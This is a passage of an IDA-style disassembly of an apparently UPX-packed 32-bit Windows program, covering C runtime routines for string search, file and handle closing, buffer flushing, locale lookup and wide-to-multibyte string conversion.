loc_415C97:				; CODE XREF: sub_415BE0+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_415BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CA0	proc near		; CODE XREF: sub_4143C8+55p
					; sub_41917C+104p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_415CC7
		xor	eax, eax
		jmp	short loc_415CC9
; ---------------------------------------------------------------------------


loc_415CC7:				; CODE XREF: sub_415CA0+21j
		mov	eax, edi


loc_415CC9:				; CODE XREF: sub_415CA0+25j
		cld
		pop	edi
		leave
		retn
sub_415CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CCD	proc near		; CODE XREF: sub_41490D+26p
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	3
		push	40000000h
		push	offset dword_41EEEC
		call	dword_41D0FC	; CreateFileA
		mov	dword_42AE44, eax
		retn
sub_415CCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CEC	proc near		; DATA XREF: UPX0:0041D418o
		mov	eax, dword_42AE44
		push	esi
		mov	esi, dword_41D0A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415D05
		cmp	eax, 0FFFFFFFEh
		jz	short loc_415D05
		push	eax
		call	esi ; dword_41D0A8


loc_415D05:				; CODE XREF: sub_415CEC+Fj
					; sub_415CEC+14j
		mov	eax, dword_42AE40
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415D17
		cmp	eax, 0FFFFFFFEh
		jz	short loc_415D17
		push	eax
		call	esi ; dword_41D0A8


loc_415D17:				; CODE XREF: sub_415CEC+21j
					; sub_415CEC+26j
		pop	esi
		retn
sub_415CEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D19	proc near		; CODE XREF: sub_415D90+5Ap

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		or	ebx, 0FFFFFFFFh
		cmp	esi, edi
		jnz	short loc_415D49
		call	sub_40C862
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, ebx
		jmp	short loc_415D8B
; ---------------------------------------------------------------------------


loc_415D49:				; CODE XREF: sub_415D19+12j
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_415D86
		push	esi
		call	sub_414A71
		push	esi
		mov	ebx, eax
		call	sub_416574
		push	esi
		call	sub_411ACB
		push	eax
		call	sub_4164A7
		add	esp, 10h
		test	eax, eax
		jge	short loc_415D75
		or	ebx, 0FFFFFFFFh
		jmp	short loc_415D86
; ---------------------------------------------------------------------------


loc_415D75:				; CODE XREF: sub_415D19+55j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		jz	short loc_415D86
		push	eax
		call	sub_40ADC8
		pop	ecx
		mov	[esi+1Ch], edi


loc_415D86:				; CODE XREF: sub_415D19+34j
					; sub_415D19+5Aj ...
		mov	[esi+0Ch], edi
		mov	eax, ebx


loc_415D8B:				; CODE XREF: sub_415D19+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415D19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D90	proc near		; CODE XREF: sub_4149D2+43p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_426D18
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_415DCD
		call	sub_40C862
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_415DD9
; ---------------------------------------------------------------------------


loc_415DCD:				; CODE XREF: sub_415D90+1Ej
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_415DDF
		mov	[esi+0Ch], edi


loc_415DD6:				; CODE XREF: sub_415D90+6Fj
		mov	eax, [ebp+var_1C]


loc_415DD9:				; CODE XREF: sub_415D90+3Bj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_415DDF:				; CODE XREF: sub_415D90+41j
		push	esi
		call	sub_4119ED
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	esi
		call	sub_415D19
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_415E04
		jmp	short loc_415DD6
sub_415D90	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E01	proc near		; DATA XREF: UPX0:00426D30o
		mov	esi, [ebp+8]
sub_415E01	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415E04	proc near		; CODE XREF: sub_415D90+6Ap
		push	esi
		call	sub_411A60
		pop	ecx
		retn
sub_415E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E0C	proc near		; CODE XREF: sub_414AD9+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_426D38
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_415E33
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_415E2B:				; CODE XREF: sub_415E0C+4Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_415EDD
; ---------------------------------------------------------------------------


loc_415E33:				; CODE XREF: sub_415E0C+12j
		xor	ebx, ebx
		cmp	eax, ebx
		jl	short loc_415E41
		cmp	eax, dword_430148
		jb	short loc_415E5B


loc_415E41:				; CODE XREF: sub_415E0C+2Bj
					; sub_415E0C+6Dj
		call	sub_40C862
		mov	dword ptr [eax], 9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_415E2B
; ---------------------------------------------------------------------------


loc_415E5B:				; CODE XREF: sub_415E0C+33j
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:430160h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		shl	esi, 6
		mov	ecx, [edi]
		movsx	ecx, byte ptr [esi+ecx+4]
		and	ecx, 1
		jz	short loc_415E41
		push	eax
		call	sub_414846
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		mov	eax, [edi]
		test	byte ptr [esi+eax+4], 1
		jz	short loc_415EBF
		push	[ebp+arg_0]
		call	sub_4147CF
		pop	ecx
		push	eax
		call	dword_41D0F8	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_415EAD
		call	dword_41D1D8	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_415EB0
; ---------------------------------------------------------------------------


loc_415EAD:				; CODE XREF: sub_415E0C+94j
		mov	[ebp+var_1C], ebx


loc_415EB0:				; CODE XREF: sub_415E0C+9Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_415ECE
		call	sub_40C875
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_415EBF:				; CODE XREF: sub_415E0C+80j
		call	sub_40C862
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_415ECE:				; CODE XREF: sub_415E0C+A7j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_415EE3
		mov	eax, [ebp+var_1C]


loc_415EDD:				; CODE XREF: sub_415E0C+22j
		call	__SEH_epilog4
		retn
sub_415E0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EE3	proc near		; CODE XREF: sub_415E0C+C9p
					; DATA XREF: UPX0:00426D50o
		push	dword ptr [ebp+8]
		call	sub_4148E6
		pop	ecx
		retn
sub_415EE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EED	proc near		; CODE XREF: sub_414C04+25Dp
					; sub_414FEE+152p ...

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	dword_41D0BC	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_415F20
		or	eax, 0FFFFFFFFh
		jmp	short loc_415F2A
; ---------------------------------------------------------------------------


loc_415F20:				; CODE XREF: sub_415EED+2Cj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40BABC
		pop	ecx


loc_415F2A:				; CODE XREF: sub_415EED+31j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_415EED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F36	proc near		; CODE XREF: sub_414C04+288p
					; sub_414C04+339p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		cmp	eax, [ebp+arg_4]
		jz	loc_4160D5
		mov	esi, dword_41D138
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi ; dword_41D138
		mov	ebx, dword_41D1F4
		test	eax, eax
		jz	short loc_415FEB
		cmp	[ebp+var_18], 1
		jnz	short loc_415FEB
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_41D138
		test	eax, eax
		jz	short loc_415FEB
		cmp	[ebp+var_18], 1
		jnz	short loc_415FEB
		mov	esi, [ebp+var_24]
		mov	[ebp+var_2C], 1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_415FC1
		push	[ebp+var_28]
		call	sub_40BFB0
		mov	esi, eax
		pop	ecx
		inc	esi


loc_415FC1:				; CODE XREF: sub_415F36+7Dj
		cmp	esi, edi


loc_415FC3:				; CODE XREF: sub_415F36+C8j
		jle	short loc_416020
		cmp	esi, 7FFFFFF0h
		ja	short loc_416020
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_416007
		call	sub_4160F0
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_41601B
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_416018
; ---------------------------------------------------------------------------


loc_415FEB:				; CODE XREF: sub_415F36+55j
					; sub_415F36+5Bj ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx ; dword_41D1F4
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_415FC3


loc_416000:				; CODE XREF: sub_415F36+F0j
		xor	eax, eax
		jmp	loc_4160D8
; ---------------------------------------------------------------------------


loc_416007:				; CODE XREF: sub_415F36+A0j
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, edi
		jz	short loc_41601B
		mov	dword ptr [eax], 0DDDDh


loc_416018:				; CODE XREF: sub_415F36+B3j
		add	eax, 8


loc_41601B:				; CODE XREF: sub_415F36+ABj
					; sub_415F36+DAj
		mov	[ebp+var_1C], eax
		jmp	short loc_416023
; ---------------------------------------------------------------------------


loc_416020:				; CODE XREF: sub_415F36:loc_415FC3j
					; sub_415F36+95j
		mov	[ebp+var_1C], edi


loc_416023:				; CODE XREF: sub_415F36+E8j
		cmp	[ebp+var_1C], edi
		jz	short loc_416000
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_40BD40
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx ; dword_41D1F4
		test	eax, eax
		jz	short loc_4160CC
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_416071
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	dword_41D07C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4160CC
		mov	[ebp+var_20], ebx
		jmp	short loc_4160CC
; ---------------------------------------------------------------------------


loc_416071:				; CODE XREF: sub_415F36+11Cj
		mov	ebx, dword_41D07C
		cmp	[ebp+var_2C], edi
		jnz	short loc_416090
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx ; dword_41D07C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4160CC


loc_416090:				; CODE XREF: sub_415F36+144j
		push	esi
		push	1
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_4160CC
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx ; dword_41D07C
		cmp	eax, edi
		jnz	short loc_4160C1
		push	[ebp+var_20]
		call	sub_40ADC8
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_4160CC
; ---------------------------------------------------------------------------


loc_4160C1:				; CODE XREF: sub_415F36+17Bj
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_4160CC
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax


loc_4160CC:				; CODE XREF: sub_415F36+115j
					; sub_415F36+134j ...
		push	[ebp+var_1C]
		call	sub_401000
		pop	ecx


loc_4160D5:				; CODE XREF: sub_415F36+3Aj
		mov	eax, [ebp+var_20]


loc_4160D8:				; CODE XREF: sub_415F36+CCj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_415F36	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401040+29p
					; sub_401304+73p ...

arg_0		= byte ptr  4

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_40E000
sub_4160F0	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_40E000

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41611C	proc near		; CODE XREF: sub_41620E+53p
					; sub_416B21+A1p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		cmp	[ebp+arg_8], ebx
		jz	loc_416207
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		cmp	[ebp+arg_0], ebx
		jnz	short loc_416170


loc_416142:				; CODE XREF: sub_41611C+59j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_416166
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416166:				; CODE XREF: sub_41611C+41j
		mov	eax, 7FFFFFFFh
		jmp	loc_416209
; ---------------------------------------------------------------------------


loc_416170:				; CODE XREF: sub_41611C+24j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_416142
		mov	esi, 7FFFFFFFh
		cmp	[ebp+arg_8], esi
		jbe	short loc_4161A9
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_4161A5
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4161A5:				; CODE XREF: sub_41611C+80j
		mov	eax, esi
		jmp	short loc_416209
; ---------------------------------------------------------------------------


loc_4161A9:				; CODE XREF: sub_41611C+63j
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_4161CE
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_4166F0
		add	esp, 0Ch


loc_4161C0:				; CODE XREF: sub_41611C+E9j
		cmp	[ebp+var_4], bl
		jz	short loc_416209
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_416209
; ---------------------------------------------------------------------------


loc_4161CE:				; CODE XREF: sub_41611C+93j
					; sub_41611C+E3j
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_4165A5
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_4165A5
		add	esp, 10h
		inc	edi
		dec	[ebp+arg_8]
		jz	short loc_416201
		cmp	esi, ebx
		jz	short loc_416201
		cmp	esi, eax
		jz	short loc_4161CE


loc_416201:				; CODE XREF: sub_41611C+DBj
					; sub_41611C+DFj
		sub	esi, eax
		mov	eax, esi
		jmp	short loc_4161C0
; ---------------------------------------------------------------------------


loc_416207:				; CODE XREF: sub_41611C+10j
		xor	eax, eax


loc_416209:				; CODE XREF: sub_41611C+4Fj
					; sub_41611C+8Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41611C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41620E	proc near		; CODE XREF: sub_415875+33p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_42ED1C, esi
		jnz	short loc_416257
		cmp	[ebp+arg_0], esi
		jnz	short loc_416242


loc_416223:				; CODE XREF: sub_41620E+37j
					; sub_41620E+40j
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_416269
; ---------------------------------------------------------------------------


loc_416242:				; CODE XREF: sub_41620E+13j
		cmp	[ebp+arg_4], esi
		jz	short loc_416223
		cmp	[ebp+arg_8], 7FFFFFFFh
		ja	short loc_416223
		pop	esi
		pop	ebp
		jmp	sub_4166F0
; ---------------------------------------------------------------------------


loc_416257:				; CODE XREF: sub_41620E+Ej
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41611C
		add	esp, 10h


loc_416269:				; CODE XREF: sub_41620E+32j
		pop	esi
		pop	ebp
		retn
sub_41620E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41626C	proc near		; CODE XREF: sub_41635A+10p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	ecx, [ebp+arg_8]
		xor	ebx, ebx
		cmp	ecx, ebx
		jnz	short loc_41629C
		cmp	[ebp+var_4], bl
		jz	short loc_416295
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416295:				; CODE XREF: sub_41626C+20j
		xor	eax, eax
		jmp	loc_416357
; ---------------------------------------------------------------------------


loc_41629C:				; CODE XREF: sub_41626C+1Bj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4162CF


loc_4162A1:				; CODE XREF: sub_41626C+66j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_4162C5
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4162C5:				; CODE XREF: sub_41626C+50j
		mov	eax, 7FFFFFFFh
		jmp	loc_416357
; ---------------------------------------------------------------------------


loc_4162CF:				; CODE XREF: sub_41626C+33j
		cmp	[ebp+arg_4], ebx
		jz	short loc_4162A1
		push	esi
		mov	esi, 7FFFFFFFh
		cmp	ecx, esi
		jbe	short loc_4162F8
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_416337
; ---------------------------------------------------------------------------


loc_4162F8:				; CODE XREF: sub_41626C+70j
		mov	eax, [ebp+var_C]
		cmp	[eax+8], ebx
		jnz	short loc_416314
		push	[ebp+arg_C]
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B21
		add	esp, 10h
		jmp	short loc_41634A
; ---------------------------------------------------------------------------


loc_416314:				; CODE XREF: sub_41626C+92j
		push	dword ptr [eax+4]
		push	ecx
		push	[ebp+arg_4]
		push	ecx
		push	[ebp+arg_0]
		push	1001h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416ADF
		add	esp, 20h
		cmp	eax, ebx
		jnz	short loc_416347


loc_416337:				; CODE XREF: sub_41626C+8Aj
		cmp	[ebp+var_4], bl
		jz	short loc_416343
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416343:				; CODE XREF: sub_41626C+CEj
		mov	eax, esi
		jmp	short loc_416356
; ---------------------------------------------------------------------------


loc_416347:				; CODE XREF: sub_41626C+C9j
		add	eax, 0FFFFFFFEh


loc_41634A:				; CODE XREF: sub_41626C+A6j
		cmp	[ebp+var_4], bl
		jz	short loc_416356
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_416356:				; CODE XREF: sub_41626C+D9j
					; sub_41626C+E1j
		pop	esi


loc_416357:				; CODE XREF: sub_41626C+2Bj
					; sub_41626C+5Ej
		pop	ebx
		leave
		retn
sub_41626C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41635A	proc near		; CODE XREF: sub_415A57+64p
					; sub_416C1B+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41626C
		add	esp, 10h
		pop	ebp
		retn
sub_41635A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416374	proc near		; CODE XREF: sub_415A57+26p
					; sub_416CC7+87p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, dword_42E894
		mov	[ebp+var_4], esi
		mov	eax, [edi]
		cmp	eax, esi
		jz	short loc_4163F4
		mov	ebx, dword_41D07C


loc_416395:				; CODE XREF: sub_416374+7Ej
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	eax
		push	esi
		push	esi
		call	ebx ; dword_41D07C
		mov	[ebp+var_8], eax
		cmp	eax, esi
		jz	short loc_4163FB
		push	1
		push	eax
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	eax, esi
		jz	short loc_4163FB
		push	esi
		push	esi
		push	[ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [edi]
		push	esi
		push	esi
		call	ebx ; dword_41D07C
		test	eax, eax
		jz	short loc_416400
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	sub_416CC7
		pop	ecx
		pop	ecx
		test	eax, eax
		jge	short loc_4163EB
		cmp	[ebp+var_4], esi
		jz	short loc_4163EB
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx
		mov	[ebp+var_4], esi


loc_4163EB:				; CODE XREF: sub_416374+64j
					; sub_416374+69j
		add	edi, 4
		mov	eax, [edi]
		cmp	eax, esi
		jnz	short loc_416395


loc_4163F4:				; CODE XREF: sub_416374+19j
		xor	eax, eax


loc_4163F6:				; CODE XREF: sub_416374+8Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4163FB:				; CODE XREF: sub_416374+31j
					; sub_416374+42j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4163F6
; ---------------------------------------------------------------------------


loc_416400:				; CODE XREF: sub_416374+54j
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx
		jmp	short loc_4163FB
sub_416374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41640B	proc near		; CODE XREF: sub_4164A7+94p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		call	sub_4147CF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416471
		mov	eax, dword_430160
		cmp	esi, 1
		jnz	short loc_416434
		test	byte ptr [eax+84h], 1
		jnz	short loc_41643F


loc_416434:				; CODE XREF: sub_41640B+1Ej
		cmp	esi, 2
		jnz	short loc_416455
		test	byte ptr [eax+44h], 1
		jz	short loc_416455


loc_41643F:				; CODE XREF: sub_41640B+27j
		push	2
		call	sub_4147CF
		push	1
		mov	edi, eax
		call	sub_4147CF
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	short loc_416471


loc_416455:				; CODE XREF: sub_41640B+2Cj
					; sub_41640B+32j
		push	esi
		call	sub_4147CF
		pop	ecx
		push	eax
		call	dword_41D0A8	; CloseHandle
		test	eax, eax
		jnz	short loc_416471
		call	dword_41D1D8	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_416473
; ---------------------------------------------------------------------------


loc_416471:				; CODE XREF: sub_41640B+14j
					; sub_41640B+48j ...
		xor	edi, edi


loc_416473:				; CODE XREF: sub_41640B+64j
		push	esi
		call	sub_414749
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_430160[eax*4]
		and	esi, 1Fh
		shl	esi, 6
		pop	ecx
		mov	byte ptr [eax+esi+4], 0
		test	edi, edi
		jz	short loc_4164A1
		push	edi
		call	sub_40C888
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_4164A3
; ---------------------------------------------------------------------------


loc_4164A1:				; CODE XREF: sub_41640B+88j
		xor	eax, eax


loc_4164A3:				; CODE XREF: sub_41640B+94j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41640B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164A7	proc near		; CODE XREF: sub_415D19+4Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_426D58
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4164D6
		call	sub_40C875
		and	dword ptr [eax], 0
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_4164CE:				; CODE XREF: sub_4164A7+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_416564
; ---------------------------------------------------------------------------


loc_4164D6:				; CODE XREF: sub_4164A7+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_4164E4
		cmp	eax, dword_430148
		jb	short loc_416505


loc_4164E4:				; CODE XREF: sub_4164A7+33j
					; sub_4164A7+7Cj
		call	sub_40C875
		mov	[eax], edi
		call	sub_40C862
